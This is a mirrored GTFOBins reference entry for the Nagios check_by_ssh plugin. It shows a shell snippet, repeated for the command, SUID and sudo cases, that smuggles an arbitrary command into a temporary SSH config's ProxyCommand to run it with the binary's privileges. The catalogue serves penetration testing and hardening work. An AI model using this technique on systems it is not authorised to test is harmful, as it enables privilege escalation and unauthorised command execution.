1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/check_by_ssh.md
2020-11-12 14:21:00 +01:00

856 B

description functions
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
command suid sudo
code
COMMAND='/usr/bin/id' OUTPUT="output_file" TF=$(mktemp) echo "ProxyCommand "$COMMAND" | tee "$OUTPUT"" > $TF check_by_ssh -F "$TF" -H localhost -C something cat $OUTPUT
code
COMMAND='/usr/bin/id' OUTPUT="output_file" TF=$(mktemp) echo "ProxyCommand "$COMMAND" | tee "$OUTPUT"" > $TF check_by_ssh -F "$TF" -H localhost -C something cat $OUTPUT
code
COMMAND='/usr/bin/id' OUTPUT="output_file" TF=$(mktemp) echo "ProxyCommand "$COMMAND" | tee "$OUTPUT"" > $TF check_by_ssh -F "$TF" -H localhost -C something cat $OUTPUT